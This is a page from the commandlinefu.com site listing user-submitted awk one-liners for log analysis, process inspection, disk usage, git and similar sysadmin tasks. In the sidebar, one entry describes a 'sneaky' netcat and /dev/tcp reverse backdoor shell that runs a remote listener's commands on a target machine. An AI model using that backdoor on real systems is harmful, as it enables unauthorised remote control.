Commands using awk sorted by votes

Commands using awk (1,418)

sorted by

Outputs unique error messages from the apache log and count, sorted by frequency

Outputs unique error messages from the apache log, sorted by frequency. Tested on log format: [Wed Aug 26 00:00:00 2015] [error] [client xx.xx.xx.xx] Error message here Show Sample Output
This is sample output - yours may be different.
```
63 PHP PHP Warning: json_encode(): Invalid UTF-8 sequence in argument
10 Warning: Warning: preg_match() expects parameter 2 to be string, array given
7 PHP PHP Warning: Invalid argument supplied for foreach() in ...
5 PHP PHP Warning: implode(): Invalid arguments passed in ...
1 PHP PHP Parse error: syntax error, unexpected ',' in ...
```
0

cat /var/log/apache2/error.log | awk '{out=$9;for(i=9;i<=NF;i++){out=out" "$i}; print out}' | sed s/,\ referer.*// | sort | uniq -c | sort -nr

cmattoon · 2015-08-26 14:14:12 10
generate a core dump of a process

tested on solaris 10
This is sample output - yours may be different.
0

ps -e | awk '$4~/<process name>/{print $1}' |xargs gcore -o ~/troubleshooting

cognosco41 · 2015-08-28 22:44:59 10
Sum columns on one line in a csv file.

sample.csv: 79.36,94.93,10.92,27.33,95.90 3.57, 20.80,67.06,2.16, 79.23 48.45,27.95,7.66, 56.71,59.97 69.02,89.59,33.88,42.73,22.60 10.15,44.86,70.86,98.45,22.23 Show Sample Output
This is sample output - yours may be different.
```
308.44
172.82
200.74
257.82
246.55
```
0

awk -F , '{for(i=1;i<=NF;i++)t[NR]+=$i;$0=t[NR]}1' sample.csv

YardApe · 2015-09-05 13:29:18 13
Deletes cpu time consuming plugin-containe triggered by firefox

Some times firefox run a plugin named "plugin-containe". It sometimes take so much cpu that it is impossible to keep browsing. When this happens, one can simply kill the process. If the process does not exist, the command returns an innocuous error message.
This is sample output - yours may be different.
0

kill -9 `top -b -n 1 | grep plugin-containe | awk '{print $1}'`

otaviolb · 2015-09-08 18:14:53 11
Find non common lines between two files according to a given column

Two files are compared according their (third, $3) column. The command shows the lines ($0) that are in file 2 and not in file1
This is sample output - yours may be different.
0

awk '(ARGIND==1) {tab[$3]=1} (ARGIND==2 && ! ($3 in tab) ) {print $0}' file1 file2

herve · 2015-09-11 07:16:14 10
Total space used by open but deleted files

A potential source of a full filesystem are large files left open but have been deleted. On Linux, a file may be deleted (removed/unlinked) while a process has it open. When this happens, the file is essentially invisible to other processes, but it still takes on physical space on the drive. Tools like du will not see it.
This is sample output - yours may be different.
0

sudo lsof -nP | awk '/deleted/ { sum+=$8 } END { print sum }'

jeffskinnerbox · 2015-09-19 00:45:23 16
Epoch from time protocol port 37

Time protocol serves up seconds since 1900 in a 32 bit binary number. Show Sample Output
This is sample output - yours may be different.
```
1443004481
```
0

telnet time.nist.gov 37 2>/dev/null |tail -1 | xxd | awk '{print $2 $3}'|tr -d '\n' | perl -nwe "print scalar(hex($1)-2208988800).\"\n\""

quesne · 2015-09-23 10:42:36 9
Monitor memory fine-grained usage (e.g. firefox)

I have modified the original one-liner to allow it to manage multiple PIDs. However, I haven't found the way it can work properly with the watch command. NOTE: brace expand must be activated via "set -B" in order to this script can work. Show Sample Output
This is sample output - yours may be different.
```
961936 KB
```
0

cat $(echo "ls /proc/{`pidof firefox | sed -e 's/$/,/' -e 's/ /,/g'`}/smaps 2>/dev/null" | bash) | awk '/Rss/{sum += $2; } END{print sum, "KB"}'

pchalim · 2015-09-30 22:22:53 9
display 10 biggest open files
This is sample output - yours may be different.
0

lsof / | awk '{ if($7 > 1048576) print $7/1048576 "MB "$9 }' | sort -n -u | tail

lolssl · 2015-10-02 19:43:04 9
display swap space used by a process
This is sample output - yours may be different.
0

awk '/VmSwap/{print $2 " " $3}' /proc/$PID/status

lolssl · 2015-10-02 19:43:46 10
ps to show child thread PIDs
This is sample output - yours may be different.
0

ls -1 /proc/$(ps ax | grep <Process Name> | head -n 1 | awk '{print $1;}')/task | tail -n +2

happymarmoset · 2015-10-06 07:44:48 10
Current directory disk usage by day for last 90 days in GB
This is sample output - yours may be different.
0

for x in {0..90}; do { echo $x $(find . -type f -mtime $x -exec du -cs {} \; |awk -F " " '{sum+=$1} END {sum/=1048576}END{print sum,"G"}'); }; done

g0dsp33d · 2015-10-08 18:19:00 9
To see which software currently open in directory /var/cache
This is sample output - yours may be different.
0

lsof -Pn +D /var/cache/ | awk '{print $1}' | sort | uniq

olto · 2015-11-12 05:30:44 14
get a random regex match from a file

seed the random number generator, find all matches in a file put all matches from the capture group into an array return a random element from the array Show Sample Output
This is sample output - yours may be different.
```
25
```
0

awk 'BEGIN{srand()} match($0, /DELTA=([0-9]+);/, a) {w[i++]=a[1]} END {print w[int(rand()*i)]}' file.name

jkirchartz · 2015-11-13 17:56:34 11
Filter ltab file based on minor allele count
This is sample output - yours may be different.
0

awk '{counts = 137 * $3 *$6; line = $0;}$1 == "CHROM" ||$4 < max_het && $3 > min_cov && $7 == "0" && counts > 1.1 {print line}' file.ltab |cut -f 1,2,9- > file.filtered.tab

gregory_owens · 2015-12-02 22:40:32 10
s3cmd du s3://bucket-name | awk '{print $0/1024/1024/1024" GB"}'

get the size of S3 bucket Show Sample Output
This is sample output - yours may be different.
```
12.598 GB
```
0

s3cmd du s3://bucket-name | awk '{print $0/1024/1024/1024" GB"}'

erez83 · 2015-12-16 08:48:28 9
Git reset added new files
This is sample output - yours may be different.
0

for f in `git status | grep new | awk '{print $3}'`; do git reset HEAD $f ; done

Wafelijzer · 2015-12-16 22:24:34 16
Get current Xorg resolution via xrandr

if there are multiple monitors, this command uses multiple lines Show Sample Output
This is sample output - yours may be different.
```
1280x800
```
0

xrandr | awk '/*/ {print $1}'

misterhat · 2015-12-21 15:29:39 11
quick livestream screencast

to view on another box: nc <server address> <port> | ffplay - use -r to adjust FPS and -q to adjust compression. use on trusted network only as nc is unencrypted.
This is sample output - yours may be different.
0

ffmpeg -f x11grab -s $(xrandr | awk '/*/ {print $1}') -r 10 -i :0 -an -q 10 -f mjpeg - | nc -lp <port>

misterhat · 2015-12-21 17:15:30 11
Get list of all apache virtual hosts

list of all virtual hosts which are defined in all apache configuration files
This is sample output - yours may be different.
0

sudo httpd -S 2>&1 | grep 'port' | awk '{print $4,$2,$5}' | sort | column -t

gangs · 2016-01-06 12:04:47 11
grab all m4a file from bbc radio 4 extra for some easy audio ebbok listening

use get_iplay to download all listed content from http://www.bbc.co.uk/radio4extra run every night to make sure no episodes are missed
This is sample output - yours may be different.
0

get_iplayer --type=radio --channel "Radio 4 Extra" | grep : | awk '{ if ( NR > 1 ) { print } }'|sed 's/:.*//' |sed '$ d' > pidlist && while read p; do get_iplayer --get --fields=pid $p; done <pidlist && rm pidlist

dunryc · 2016-01-16 17:20:54 11
Show UDID of iPhone

this is what i needed on ubuntu 12.04 for ios 9
This is sample output - yours may be different.
0

lsusb -s `lsusb | grep "Apple" | cut -d ' ' -f 2`:`lsusb | grep "Apple" | cut -d ' ' -f 4 | sed 's/://'` -v | grep iSerial | awk '{print $3}'

dormi · 2016-01-19 09:08:27 10
Get OSX Battery percentage
This is sample output - yours may be different.
0

pmset -g batt | awk '/-InternalBattery-/ {sub(/;/, "", $2); print $2}'

schlueter · 2016-01-26 21:55:33 11
list lines changed per all authors of a git repository
This is sample output - yours may be different.
0

for i in $(git log --format='%ae' | sort -u); do echo $i; git log --author="$i" --pretty=tformat: --numstat | awk '{ add += $1; subs += $2; loc += $1 - $2 } END { printf "added lines: %s, removed lines: %s, total lines: %s\n", add, subs, loc }' - done

flavioab · 2016-01-27 20:46:51 11
enable all bash completions in gentoo

Pros: * it's much faster then for loop * removes first line of 'eselect bashcomp list' - which contains text "Available completions:"
This is sample output - yours may be different.
0

eselect bashcomp enable --global $(eselect bashcomp list | tail -n +2 | awk '{print $2}' |xargs)

eNcacz · 2016-02-12 16:53:22 12
‹ First < 42 43 44 45 46 > Last ›

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands

Check These Out

SSH connection through host in the middle

monitor what processes are waiting for IO interrupts

Broadcast your shell thru UDP on port 5000

Better solution in case of many clients, imo.

Encrypt and password-protect execution of any bash script

(Please see sample output for usage) script.bash is your script, which will be crypted to script.secure script.bash --> script.secure You can execute script.secure only if you know the password. If you die, your script dies with you. If you modify the startup line, be careful with the offset calculation of the crypted block (the XX string). Not difficult to make script editable (an offset-dd piped to a gpg -d piped to a vim - piped to a gpg -c directed to script.new ), but not enough space to do it on a one liner.

Create a mirror of a local folder, on a remote server

Create a exact mirror of the local folder "/root/files", on remote server 'remote_server' using SSH command (listening on port 22) (all files & folders on destination server/folder will be deleted)

Rename all .jpeg and .JPG files to .jpg

Multiple variable assignments from command output in BASH

It's quite easy to capture the output of a command and assign it in a shell's variable: $ day=$(date +%d) $ month=$(date +%m) But, what if we want to perform the same task with just one program invocation? Here comes the power of eval! date(1) outputs a string like "day=29; month=07; year=11" (notice the semicolons I added on purpose at date's custom output) which is a legal shell line. This like is then parsed and executed by the shell once again with the help of eval. Just setting 3 variables! Inspired by LinuxJournal's column "Dave Taylor's Work the Shell".

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Reverse Backdoor Command Shell using Netcat

This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

Push your present working directory to a stack that you can pop later

If are a Bash user and you are in a directory and need to go else where for a while but don't want to lose where you were, use pushd instead of cd. cd /home/complicated/path/.I/dont/want/to/forget pushd /tmp cd thing/in/tmp popd (returns you to /home/complicated/path/.I/dont/want/to/forget)

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

» all commands
» commands with 3 up-votes (commandlinefu3)
» commands with 10 up-votes (commandlinefu10)
» commands using awk

Commands using awk (1,418) the last day the last week the last month all time sorted by date votes

What's this?

Check These Out

Stay in the loop…

Commands using awk (1,418)

sorted by